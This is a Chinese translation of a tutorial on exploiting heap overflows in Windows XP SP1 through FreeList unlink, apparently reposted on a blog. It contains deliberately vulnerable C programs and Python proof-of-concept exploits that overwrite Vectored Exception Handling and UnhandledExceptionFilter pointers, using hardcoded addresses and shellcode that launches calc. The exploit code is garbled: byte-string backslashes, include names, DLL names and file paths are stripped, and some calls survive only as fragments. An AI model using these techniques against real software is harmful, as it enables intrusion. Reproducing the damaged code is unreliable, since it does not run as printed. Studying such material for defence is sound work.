admin 管理员组

文章数量: 887021


2024年2月7日发(作者:获取iframe)

Windows平台下的堆溢出利用技术

作者:mr_me

译者:riusksk(泉哥:)

前言

在栈溢出中我们一般都是通过控制指令指针EIP,或者覆盖SEH来实现溢出利用的,而在本文即将讲到及测试所使用的利用技术中,并没有直接运用到覆盖EIP或者SEH。我们将通过覆盖一可控制的内存地址,进而实现任意的DWORD覆写。如果你对栈溢出的认识还没有达到中/高等水平,那么我建议你先集中精力去学习一下。本文所讲述的利用技术均是些年过已久的旧技术,如果你有什么新的利用技术,记得分享一下。阅读本文前你需要具备以下条件:

● Windows XP SP1;

● 调试器(Olly Debugger, Immunity Debugger, windbg等等);

● C/C++ 编译器(Dev C++, lcc-32, MS visual C++ 6.0);

● 脚本语言执行环境(本文使用python,你也可以使用perl);

● 大脑;

● 具备汇编和C语言知识,并懂得如何用调试器去调试它们;

● Olly Debugger插件HideDbg,或者Immunity Debugger的!hidedebug命令插件;

● 时间。

我们在本文主要注重于基础知识,这些技术可能因有些过时而未在“现实世界”中使用,但有一点你必须记住,如果你想提高技术,就必须知晓过去,并取其所长来为己所用!

堆的定义及其在XP下的工作原理

堆是进程用于存储数据的场所,每一进程均可动态地分配和释放程序所需的堆内存,同时允许全局访问。需要指出的是,栈是向0x00000000生长的,而堆是向0xFFFFFFFF生长的。这意味着如果某进程连续两次调用HeapAllocate()函数,那么第二次调用函数返回的指针所指向的内存地址会比第一次的高,因此第一块堆溢出后将会溢出至第二块堆内存。

对于每一进程,无论是默认进程堆,还是动态分配的堆都含有多个数据结构。其中一个数据结构是一个包含128个LIST_ENTRY结构的数组,用于追踪空闲块,即众所周知的空闲链表FreeList。每一个LIST_ENTRY结构都包含有两个指针,这一数组可在偏移HEAP结构0x178字节的位置找到。当一个堆被创建时,这两个指针均指向头一空闲块,并设置在空表索引项FreeList[0]中,用于将空闲堆块组织成双向链表。

我们假设存在一个堆,它的基址为0x00650000,第一个可用块位于0x00650688,接下来我们另外假设以下4个地址:

1. 地址0×00650178 (Freelist[0].Flink)是一个值为0x00650688(第一个空闲堆块)的指针;

2. 地址0x006517c (FreeList[0].Blink)是一个值为0x00650688(第一个空闲堆块)的指针;

3. 地址0x00650688(第一个空闲堆块)是一个值为0×00650178 (FreeList[0])的指针;

4. 地址0x0065068c(第一个空闲堆块)是一个值为0×00650178 (FreeList[0])的指针;

当开始分配堆块时,FreeList[0].Flink和FreeList[0].Blink被重新指向下一个刚分配的空闲堆块,接着指向FreeList的两个指针则指向新分配的堆块末尾。每一个已分配堆块的指针或者空闲堆块的指针都会被更改,因此这些分配的堆块都可通过双向链表找到。当发生堆溢出导致可以控制堆数据时,利用这些指针可篡改任意dword字节数据。攻击者借此就可修改程序的控制数据,比如函数指针,进而控制进程的执行流程。

借助向量化异常处理(VEH)实现堆溢出利用

首先看下下面的heap-veh.c代码:

#include

#include

DWORD MyExceptionHandler(void);

int foo(char *buf);

int main(int argc, char *argv[])

{

HMODULE l;

l = LoadLibrary("");

l = LoadLibrary("");

printf("nnHeapoverflow program.n");

if(argc != 2)

return printf("ARGS!");

foo(argv[1]);

return 0;

}

DWORD MyExceptionHandler(void)

{

printf("In ");

ExitProcess(1);

return 0;

}

int foo(char *buf)

{

HLOCAL h1 = 0, h2 = 0;

HANDLE hp;

__try{

hp = HeapCreate(0,0x1000,0x10000);

if(!hp){

return printf("Failed to create heap.n");

}

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

printf("HEAP: %.8X %.8Xn",h1,&h1);

// Heap Overflow occurs here:

strcpy(h1,buf);

}

// This second call to HeapAlloc() is when we gain control

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

printf("hello");

}

__except(MyExceptionHandler())

{

printf("");

}

return 0;

通过上面的代码,我们可以看到上面是以_try 语句来设置异常处理的。首先在windows xp sp1下用你钟情的编译器来编译以上代码,然后在命令行下运行程序,当参数超过260字节时,即可触发异常处理,如图1所示:

图1

当在调试器中运行它时,我们可以通过第二分配堆块来获取控制权(因为freelist[0]会被第一次分配的攻击字符串篡改掉),如图2所示:

图2

MOV DWORD PTR DS:[ECX],EAX

MOV DWORD PTR DS:[EAX+4],ECX

上述指令的作用是将当前EAX值作为ECX值的指针,并将ECX当前值赋予EAX下一4字节的值,借此我们可以知晓这里将unlink或者free第一次分配的内存块,即:

1、 EAX(写入的内容):Flink

2、 ECX(写入的地址):Blink

什么是向量化异常处理(VEH,Vectored Exception Handling)

VEH是在windows xp中首次发布,它将exception registration结构存储在堆上。与传统的异常处理框架不同,比如SEH将这一结构存储在栈上,而VEH是存储在堆上的,这类异常处理优先于其它类型的异常处理机制,先看下以下结构:

struct _VECTORED_EXCEPTION_NODE

{

DWORD m_pNextNode;

DWORD m_pPreviousNode;

PVOID m_pfnVectoredHandler;

}

其中m_pNextNode指向下一个_VECTORED_EXCEPION_NODE结构,因此我们必须用一个伪造的指针来覆盖指向_VECTORED_EXCEPION_NODE的指针(m_pNextNode)。但我们该如何实现呢?先来看下负责分发_VECTORED_EXCEPION_NODE的代码:

77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]

77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4

77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]

77F7F4A9 50 PUSH EAX

77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]

先将 _VECTORED_EXCEPION_NODE指针赋予ESI,几句代码过后接着调用ESI+8。如果我们用shellcode -

0x08指针去覆盖下一个_VECTORED_EXCEPION_NODE指针,那么程序将执行至我们的缓冲区。那么shellcode指针在何处呢?先来看下栈情况,如图3所示:

图3

由上可知,shellcode指针位于栈中。我们可以使用硬编码值0x0012ff40。另外还记得call esi+8吗?为确保我们的shellcode能够准确地被执行,因此0x0012ff40 – 0x08 = 0x0012ff38。因此,ECX需要被设置为0x0012ff38。我们该如何查找指向一个_VECTORED_EXCEPION_NODE结构的指针m_NextNode呢?在OD或者immunity debugger中,我们可以使用shift+f7跳过异常继续执行代码。这些代码将去执行第一个_VECTORED_EXCEPION_NODE结构,比如以下代码就指出了该指针:

77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210

77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI

77F60C37 0F85 48E80100 JNZ ntdll.77F7F485

以上代码就是将m_pNextNode(我们所需要运用到的指针)赋予EDI,接着我们需要将ECX设置为该值。因此我们可以设置以下数值:

ECX = 0x77fc3210

EAX = 0x0012ff38

因此我们需要先计算出覆盖EAX和ECX所需的偏移量,这个借助MSF pattern即可实现,然后将其运用到程序中,为方便查看请看以下操作:

步骤1 – 创建msf pattern,如图4所示:

图4

步骤2 – 置入目标程序,如图5所示:

图5

步骤3 – 通过打开反调试功能并触发异常来计算偏移量,如图6、7、8所示:

图6

图7

图8

现在一个PoC exploit框架就出来了:

import os

# _vectored_exception_node

exploit = ("xcc" * 272)

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04

# due to second MOV writes to EAX+4 == 0x77fc320c

exploit += ("x0cx32xfcx77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38

exploit += ("x38xffx12") # EAX - we dont need the null byte

('"C:Documents and " ' + exploit)

现在ECX指令之后并没有shellcode,因为它含有一个NULL字节,也许你还记得我前一篇教程Debugging

an SEH 0day(/blog/?p=14),里面有讲到此问题,有兴趣的话读者可以去看下。但也并不是所有的情况都像本例一样,是使用strcpy函数将buffer数据复制到堆中。接着程序就会断在“xcc”这一软件断点上,我们只需将其替换为shellcode即可,这个shellcode字节大小必须低于272字节,因为它只有这么大的空间来存放shellcode。

# _vectored_exception_node

import os

import win32api

calc = ("xdaxcbx2bxc9xd9x74x24xf4x58xb1x32xbbxfaxcd" +

"x2dx4ax83xe8xfcx31x58x14x03x58xeex2fxd8xb6" +

"xe6x39x23x47xf6x59xadxa2xc7x4bxc9xa7x75x5c" +

"x99xeax75x17xcfx1ex0ex55xd8x11xa7xd0x3ex1f" +

"x38xd5xfexf3xfax77x83x09x2ex58xbaxc1x23x99" +

"xfbx3cxcbxcbx54x4ax79xfcxd1x0ex41xfdx35x05" +

"xf9x85x30xdax8dx3fx3ax0bx3dx4bx74xb3x36x13" +

"xa5xc2x9bx47x99x8dx90xbcx69x0cx70x8dx92x3e" +

"xbcx42xadx8ex31x9axe9x29xa9xe9x01x4ax54xea" +

"xd1x30x82x7fxc4x93x41x27x2cx25x86xbexa7x29" +

"x63xb4xe0x2dx72x19x9bx4axffx9cx4cxdbxbbxba" +

"x48x87x18xa2xc9x6dxcfxdbx0axc9xb0x79x40xf8" +

"xa5xf8x0bx97x38x88x31xdex3ax92x39x71x52xa3" +

"xb2x1ex25x3cx11x5bxd9x76x38xcax71xdfxa8x4e" +

"x1cxe0x06x8cx18x63xa3x6dxdfx7bxc6x68xa4x3b" +

"x3ax01xb5xa9x3cxb6xb6xfbx5ex59x24x67xa1x93")

exploit = ("x90" * 5)

exploit += (calc)

exploit += ("xcc" * (272-len(exploit)))

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04

# due to second MOV writes to EAX+4 == 0x77fc320c

exploit += ("x0cx32xfcx77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38

exploit += ("x38xffx12") # EAX - we dont need the null byte

c((' %s') % exploit, 1)

借助Unhandled Exception Filter实现堆溢出利用

Unhandler Exception Filter 是程序关闭前最后调用的一个异常处理例程,主要用于当程序崩溃时分发一些常见的消息,如“An unhandled error occurred”等。直至此时,我们已经能够控制EAX和ECX了,并

知道了覆盖两个寄存器所需的偏移量:

import os

exploit = ("xcc" * 272)

exploit += ("x41" * 4) # ECX

exploit += ("x42" * 4) # EAX

exploit += ("xcc" * 272)

('"C:Documents and " ' + exploit)

不像前面的例子,heap-uef.c不再包括自定义的异常处理。这意味着我将使用Microsoft的默认的Unhandled Exception Filter。下面就是heap-uef.c文件代码:

#include

#include

int foo(char *buf);

int main(int argc, char *argv[])

{

HMODULE l;

l = LoadLibrary("");

l = LoadLibrary("");

printf("nnHeapoverflow program.n");

if(argc != 2)

return printf("ARGS!");

foo(argv[1]);

return 0;

}

int foo(char *buf)

{

HLOCAL h1 = 0, h2 = 0;

HANDLE hp;

hp = HeapCreate(0,0x1000,0x10000);

if(!hp)

return printf("Failed to create heap.n");

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

printf("HEAP: %.8X %.8Xn",h1,&h1);

// Heap Overflow occurs here:

strcpy(h1,buf);

// We gain control of this second call to HeapAlloc

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

printf("hello");

return 0;

}

当调试这类溢出时,应当在Olly或者Immunity Debugger下打开反调试功能,以便Exception Filter能够被调用,并保证上面的寄存器偏移地址是正确的。首先,我们应该先确定将写入数据的地址,它必须是指向Unhandled Exception Filter的指针,这个可通过查看SetUnhandledExceptionFilter()的代码来定位,如图9所示:

图9

找到后我们可以再找到一个使用UnhandledExceptionFilter指针(0x77ed73b4)的MOV指令,如图10所示:

图10

由上我们可以确切地说ECX将包含值0x77c3bbad,但我们需要向其写入什么内容呢?先来看下调用UnhandledExceptionFilter后的情况:

77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]

77E93119 3BC6 CMP EAX,ESI

77E9311B 74 15 JE SHORT kernel32.77E93132

77E9311D 57 PUSH EDI

77E9311E FFD0 CALL EAX

从整体来看,UnhandledExceptionFilter指针被赋予到EAX中,并将EDI压入栈中,然后调用EAX来执行。

与Vectored Exception Handling类似,我们依然可以覆写指针值。让该指针指向我们的shellcode,或者一个可以帮助我们跳入shellcode的指令。如果我们再看下EDI,将会发现在偏移payload末尾0x78字节之后还存在一个指针,如图11所示:

图11

如果我们简单地调用此指针,也可执行shellcode。因此我们需要像下面这样的一条指令:

call dword ptr ds:[edi+74]

这个在XP sp1下的一些MS模块中即可找到,如图12所示:

图12

然后用这些值来修改PoC,最后得到:

import os

exploit = ("xcc" * 272)

exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]

exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()

exploit += ("xcc" * 272)

('"C:Documents and "

' + exploit)

执行后结果如图13所示:

图13

然后我们简单地计算出相对此上面这一地址的偏移量,然后插入JMP指令和shellcode:

import os

calc = ("x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9"

"x44x80xc2x77" # address to WinExec()

"xFFxD1x90x90")

exploit = ("x44" * 264)

exploit += "xebx14" # our JMP (over the junk and into nops)

exploit += ("x44" * 6)

exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]

exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()

exploit += ("x90" * 21)

exploit += calc

(' ' + exploit)

如图14所示:

图14

执行后成功弹出计算器,如图15所示:

图15

结论

本文演示了在XPsp1下利用unlink()的最原始的两种方法,除此之外,还可以利用RtlEnterCriticalSection或者TEB Exception Handlers。在后续的文章中笔者将进一步讨论在Windows XP sp2 和sp3下利用Unlink()(HeapAlloc/HeapFree) 的技术,以及如何绕过windows平台下的堆溢出保护机制。


本文标签: 指针 堆块 处理